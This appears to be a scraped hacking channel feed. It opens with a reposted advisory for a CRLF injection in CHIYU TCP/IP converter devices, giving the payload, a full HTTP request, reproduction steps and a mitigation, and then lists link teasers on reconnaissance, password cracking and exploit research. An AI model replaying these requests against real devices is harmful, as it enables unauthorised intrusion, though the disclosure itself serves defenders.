Exploit Collector
CHIYU TCP/IP Converter CRLF Injection

https://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png
CHIYU TCP/IP Converter devices suffers from a crlf injection vulnerability. Versions affected include BF-430, BF-431, and BF-450M.

MD5 | 13a797a4534c55f2a1bacdeee0f9a77e

Download
# Exploit Title: CHIYU TCP/IP Converter devices - CRLF injection
# Date: May 31 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BF-430, BF-431, and BF-450M TCP/IP Converter devices - all firmware versions < June 2021
# Tested on: BF-430, BF-431, and BF-450M
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.
CVSS: Medium – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249

Affected parameter: redirect=Component: all the CGI components
Payload: %0d%0a%0d%0a

====HTTP request======
GET
/man.cgi?redirect=setting.htm%0d%0a%0d%0a&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY
HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/manage.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1

======HTTP response========
HTTP/1.1 302 Found
Location: setting.htm

Content-Length: 0
Content-Type: text/html
Steps to reproduce:
1. Navigate to the vulnerable device
2. Make a GET request to all CGI components
3. Append the payload at the end of the vulnerable parameter (redirect )
4. Submit the request and observe payload execution
Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Email address harvesting

https://cdn-images-1.medium.com/max/1600/1*uiln3m6ioX5e-RGNdP4baw.jpeg
Email harvesting is the process of attaining a large number of email addresses through different methods. The purpose of gathering email…

Continue reading on Purple TEAM »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ethical Hacking (part 2.0/20): Network scanning in depth with examples and tools

https://cdn-images-1.medium.com/max/1920/1*AVhKZICqoNVxvZ_Pvm9adA.jpeg
Note: This article is being updated regularly. The latest update is as of 01/06/2021

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Online DNS reconnaissance with Robtex

https://cdn-images-1.medium.com/max/1173/1*PzUdyKDaLUZW03LIgLGOzg.png
DNS reconnaissance is a piece of the data-gathering stage on a penetration test engagement. When a penetration tester is playing out, DNS…

Continue reading on Purple TEAM »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Analysis of the Vulnerability Found in the vaults.sx Smart Contract

https://cdn-images-1.medium.com/max/1200/1*PlUsMWqAojyIiZq-Vt4gMw.png
Our analysis on the EOS SX vault attack in May 2021.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Alternative to Tor Browser

Hello, I'm looking to install a browser/os directly through Linux (Debian/Buster) on a Chromebook. I have Tor and would like to explore other options.

TIA

submitted by /u/MycoMitch
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Python Cybersecurity - Zip File Password Cracker

https://external-preview.redd.it/UNSX5AN2H8qNUzK9UBvzZXd95n5QNjJaDBhMfl62i4U.jpg?width=320&crop=smart&auto=webp&s=9b47285a1e6d1957866b8d53f09c1573a831bfd5 submitted by /u/EssayPuzzle
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Best YouTube channels to learn Ethical Hacking 2021

Made this fresh list of ethical hacking YouTube channels you might like these as well.

https://youtu.be/IU1QVNpFASA

submitted by /u/dominatevil
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

PE Reflection
https://www.reddit.com/r/redteamsec/comments/nq48ao/pe_reflection/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://0xdarkvortex.dev/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/) [comments] (https://www.reddit.com/r/redteamsec/comments/nq48ao/pe_reflection/)

___________________________
@hacking_Attack
@Hacking_Video

<GeoCash MainNet transition >

As you know, the process of moving GeoCash on the BSC mainnet has begun. The new version of the GeoCash app is now live on BSC; however…Continue reading on Medium »
Read more...

https://geodb.medium.com/geocash-mainnet-transition-aeb1760f8b0f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

As you know, the process of moving GeoCash on the BSC mainnet has begun. The new version of the GeoCash app is now live on BSC; however…Continue reading on Medium » (https://geodb.medium.com/geocash-mainnet-transition-aeb1760f8b0f?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video